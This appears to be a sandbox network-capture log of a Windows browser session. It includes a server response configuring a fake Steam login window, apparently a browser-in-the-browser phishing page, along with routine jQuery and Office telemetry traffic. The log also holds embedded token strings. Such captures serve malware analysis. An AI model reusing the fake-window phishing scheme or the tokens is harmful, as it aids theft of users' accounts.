token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjlkMjYzNjIwMzgyNTdhMTcyMTk5N2Q2NWZlNDVmODA1Iiwic2VydmljZSI6IlN0ZWFtIn0.TWqK8njcgaid234pLatdBmIcWcQnVdVlTQ1bicbwK0E; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.IJtB_NWm_yUHt7tf_EGT6Q9mjUaKUdKW.x53niEl3zlVPoh_Z.PpUdUCE8tqi1h7Hqys-mzNGyV-WhIIc_3SR8g7yuxC0FYMueIuDof288KlGsfO0ngFKm3UoG2Bau_2IVtUChfiv4.m3YYjfy4F9PIaw26iffqCA
2024-10-06 11:20:54 UTC	1048	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:54 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Etag: W/"120-2TNYDlH1fj2qHMZWWiP3PaM+0k8" Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dqgbC%2BYyObul8PDLNPyQ%2BNUUdJ9kOyfmZpWIgCU2YmNcScH99wPUPUpO7Rp5lg0e4khc16I%2FnwiXeyiaopBvVydBx%2FkhcvRqEbfn%2FzycBSmUJwAFkHSQtOKFSvr%2B1KcS0ucQ9FwH9g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce543cb6c70c46d-EWR alt-svc: h3=":443"; ma=86400
2024-10-06 11:20:54 UTC	295	IN	Data Raw: 31 32 30 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 73 65 72 76 69 63 65 22 3a 22 53 74 65 61 6d 22 2c 22 69 66 72 61 6d 65 22 3a 74 72 75 65 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 32 38 32 31 33 36 35 34 34 36 33 2e 33 38 34 33 2c 22 77 69 6e 64 6f 77 22 3a 7b 22 74 79 70 65 22 3a 22 46 61 6b 65 57 69 6e 64 6f 77 22 2c 22 74 69 74 6c 65 22 3a 22 53 74 65 61 6d 22 2c 22 75 72 6c 22 3a 22 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 22 2c 22 70 61 74 68 22 3a 22 2f 6c 6f 67 69 6e 2f 68 6f 6d 65 2f 3f 67 6f 74 6f 3d 22 2c 22 69 63 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 7d 2c 22 6c 6f 67 69 6e 22 3a 7b 7d 2c 22 62 72 6f 77 73 65 72 22 3a Data Ascii: 120{"success":true,"service":"Steam","iframe":true,"timestamp":1728213654463.3843,"window":{"type":"FakeWindow","title":"Steam","url":"steamcommunity.com","path":"/login/home/?goto=","icon":"https://steamcommunity.com/favicon.ico"},"login":{},"browser":
2024-10-06 11:20:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49728	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:54 UTC	552	OUT	GET /public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:54 UTC	385	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: ".TZ2NKhB-nliU" Last-Modified: Wed, 28 Jun 2023 04:07:11 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=15037363 Expires: Sat, 29 Mar 2025 12:23:37 GMT Date: Sun, 06 Oct 2024 11:20:54 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 11:20:54 UTC	15999	IN	Data Raw: 30 30 30 30 42 31 43 31 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 38 2e 33 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 5f 28 65 29 7b 76 61 72 20 74 3d 4d 5b 65 5d 3d 7b 7d 3b 72 65 74 75 72 6e 20 76 2e 65 61 63 68 28 65 2e 73 70 6c 69 74 28 79 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 74 5b 6e 5d 3d 21 30 7d 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 6e 2c 72 29 7b 69 66 28 72 3d 3d 3d 74 26 26 65 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 31 29 7b 76 61 72 20 69 3d 22 64 61 74 61 2d 22 2b 6e 2e 72 65 70 6c 61 63 65 28 50 2c 22 2d 24 31 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 3d 65 2e 67 65 Data Ascii: 0000B1C1/! jQuery v1.8.3 jquery.com \| jquery.org/license /(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.ge
2024-10-06 11:20:54 UTC	15825	IN	Data Raw: 3d 74 26 26 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 69 29 2c 66 26 26 28 61 3f 28 61 3d 6e 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 76 28 65 29 2c 6e 29 7d 29 3a 28 6e 2e 63 61 6c 6c 28 65 2c 69 29 2c 6e 3d 6e 75 6c 6c 29 29 3b 69 66 28 6e 29 66 6f 72 28 3b 6c 3c 63 3b 6c 2b 2b 29 6e 28 65 5b 6c 5d 2c 72 2c 61 3f 69 2e 63 61 6c 6c 28 65 5b 6c 5d 2c 6c 2c 6e 28 65 5b 6c 5d 2c 72 29 29 3a 69 2c 75 29 3b 73 3d 31 7d 72 65 74 75 72 6e 20 73 3f 65 3a 66 3f 6e 2e 63 61 6c 6c 28 65 29 3a 63 3f 6e 28 65 5b 30 5d 2c 72 29 3a 6f 7d 2c 6e 6f 77 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 7d 7d 29 2c 76 2e 72 65 61 64 79 2e 70 72 6f 6d 69 73 Data Ascii: =t&&v.isFunction(i),f&&(a?(a=n,n=function(e,t,n){return a.call(v(e),n)}):(n.call(e,i),n=null));if(n)for(;l<c;l++)n(e[l],r,a?i.call(e[l],l,n(e[l],r)):i,u);s=1}return s?e:f?n.call(e):c?n(e[0],r):o},now:function(){return(new Date).getTime()}}),v.ready.promis
2024-10-06 11:20:54 UTC	13693	IN	Data Raw: 21 3d 3d 21 31 3f 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 74 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3b 72 65 74 75 72 6e 20 74 3d 3d 3d 21 31 3f 76 2e 72 65 6d 6f 76 65 41 74 74 72 28 65 2c 6e 29 3a 28 72 3d 76 2e 70 72 6f 70 46 69 78 5b 6e 5d 7c 7c 6e 2c 72 20 69 6e 20 65 26 26 28 65 5b 72 5d 3d 21 30 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6e 2c 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 29 2c 6e 7d 7d 2c 56 7c 7c 28 49 3d 7b 6e 61 6d 65 3a 21 30 2c 69 64 3a 21 30 2c 63 6f 6f 72 64 73 3a 21 30 7d 2c 6a 3d 76 2e 76 61 6c 48 6f 6f 6b 73 2e 62 75 74 74 6f 6e 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 3b 72 65 74 75 72 6e 20 72 3d 65 2e 67 65 74 41 74 74 72 69 Data Ascii: !==!1?n.toLowerCase():t},set:function(e,t,n){var r;return t===!1?v.removeAttr(e,n):(r=v.propFix[n]\|\|n,r in e&&(e[r]=!0),e.setAttribute(n,n.toLowerCase())),n}},V\|\|(I={name:!0,id:!0,coords:!0},j=v.valHooks.button={get:function(e,n){var r;return r=e.getAttri
2024-10-06 11:20:54 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 26 26 21 72 29 69 66 28 69 3d 52 2e 65 78 65 63 28 65 29 29 69 66 28 66 3d 69 5b 31 5d 29 7b 69 66 28 6c 3d 3d 3d 39 29 7b 73 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 3b 69 66 28 21 73 7c 7c 21 73 2e 70 61 72 65 6e 74 4e 6f 64 65 29 72 65 74 75 72 6e 20 6e 3b 69 66 28 73 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6e 2e 70 75 73 68 28 73 29 2c 6e 7d 65 6c 73 65 20 69 66 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 26 26 28 73 3d 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 75 28 74 2c 73 29 26 26 73 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6e 2e 70 75 73 68 28 73 29 2c 6e 7d 65 6c 73 65 7b 69 66 28 69 5b 32 5d 29 72 65 74 75 72 6e 20 53 Data Ascii: 00004000&&!r)if(i=R.exec(e))if(f=i[1]){if(l===9){s=t.getElementById(f);if(!s\|\|!s.parentNode)return n;if(s.id===f)return n.push(s),n}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(f))&&u(t,s)&&s.id===f)return n.push(s),n}else{if(i[2])return S
2024-10-06 11:20:54 UTC	12	IN	Data Raw: 6e 28 65 29 7b 76 61 72 20 74 0d 0a Data Ascii: n(e){var t
2024-10-06 11:20:54 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2c 6e 3d 76 28 65 2c 74 68 69 73 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 74 3d 30 3b 74 3c 72 3b 74 2b 2b 29 69 66 28 76 2e 63 6f 6e 74 61 69 6e 73 28 74 68 69 73 2c 6e 5b 74 5d 29 29 72 65 74 75 72 6e 21 30 7d 29 7d 2c 6e 6f 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 66 74 28 74 68 69 73 2c 65 2c 21 31 29 2c 22 6e 6f 74 22 2c 65 29 7d 2c 66 69 6c 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 66 74 28 74 68 69 73 2c 65 2c 21 30 29 2c 22 66 69 6c 74 65 72 22 2c 65 29 7d 2c 69 73 3a 66 75 6e 63 74 Data Ascii: 00004000,n=v(e,this),r=n.length;return this.filter(function(){for(t=0;t<r;t++)if(v.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e,!1),"not",e)},filter:function(e){return this.pushStack(ft(this,e,!0),"filter",e)},is:funct
2024-10-06 11:20:54 UTC	12	IN	Data Raw: 2c 76 61 6c 75 65 3a 6e 2e 72 0d 0a Data Ascii: ,value:n.r
2024-10-06 11:20:54 UTC	13508	IN	Data Raw: 30 30 30 30 33 34 42 38 0d 0a 65 70 6c 61 63 65 28 6f 6e 2c 22 5c 72 5c 6e 22 29 7d 7d 29 2e 67 65 74 28 29 7d 7d 29 2c 76 2e 70 61 72 61 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 2c 69 3d 5b 5d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 3d 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 74 29 3f 74 28 29 3a 74 3d 3d 6e 75 6c 6c 3f 22 22 3a 74 2c 69 5b 69 2e 6c 65 6e 67 74 68 5d 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 29 2b 22 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 7d 3b 6e 3d 3d 3d 74 26 26 28 6e 3d 76 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 26 26 76 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 74 72 61 64 69 74 69 6f 6e 61 6c 29 3b 69 66 28 76 2e 69 73 41 72 72 61 79 28 65 29 7c Data Ascii: 000034B8eplace(on,"\r\n")}}).get()}}),v.param=function(e,n){var r,i=[],s=function(e,t){t=v.isFunction(t)?t():t==null?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};n===t&&(n=v.ajaxSettings&&v.ajaxSettings.traditional);if(v.isArray(e)\|
2024-10-06 11:20:54 UTC	1880	IN	Data Raw: 30 30 30 30 30 37 34 43 0d 0a 63 73 73 28 65 2c 22 74 6f 70 22 29 2c 75 3d 76 2e 63 73 73 28 65 2c 22 6c 65 66 74 22 29 2c 61 3d 28 72 3d 3d 3d 22 61 62 73 6f 6c 75 74 65 22 7c 7c 72 3d 3d 3d 22 66 69 78 65 64 22 29 26 26 76 2e 69 6e 41 72 72 61 79 28 22 61 75 74 6f 22 2c 5b 6f 2c 75 5d 29 3e 2d 31 2c 66 3d 7b 7d 2c 6c 3d 7b 7d 2c 63 2c 68 3b 61 3f 28 6c 3d 69 2e 70 6f 73 69 74 69 6f 6e 28 29 2c 63 3d 6c 2e 74 6f 70 2c 68 3d 6c 2e 6c 65 66 74 29 3a 28 63 3d 70 61 72 73 65 46 6c 6f 61 74 28 6f 29 7c 7c 30 2c 68 3d 70 61 72 73 65 46 6c 6f 61 74 28 75 29 7c 7c 30 29 2c 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 74 29 26 26 28 74 3d 74 2e 63 61 6c 6c 28 65 2c 6e 2c 73 29 29 2c 74 2e 74 6f 70 21 3d 6e 75 6c 6c 26 26 28 66 2e 74 6f 70 3d 74 2e 74 6f 70 2d 73 2e 74 Data Ascii: 0000074Ccss(e,"top"),u=v.css(e,"left"),a=(r==="absolute"\|\|r==="fixed")&&v.inArray("auto",[o,u])>-1,f={},l={},c,h;a?(l=i.position(),c=l.top,h=l.left):(c=parseFloat(o)\|\|0,h=parseFloat(u)\|\|0),v.isFunction(t)&&(t=t.call(e,n,s)),t.top!=null&&(f.top=t.top-s.t
2024-10-06 11:20:54 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:54 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:54 UTC	540	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:54 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 04 Oct 2024 23:21:50 GMT ETag: "0x8DCE4CB535A72FA" x-ms-request-id: 4dad204e-401e-005b-4bf5-169c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112054Z-1657d5bbd48tqvfc1ysmtbdrg000000001s0000000008th1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:54 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-06 11:20:54 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-06 11:20:54 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-06 11:20:54 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-06 11:20:54 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-06 11:20:54 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-06 11:20:54 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-06 11:20:54 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
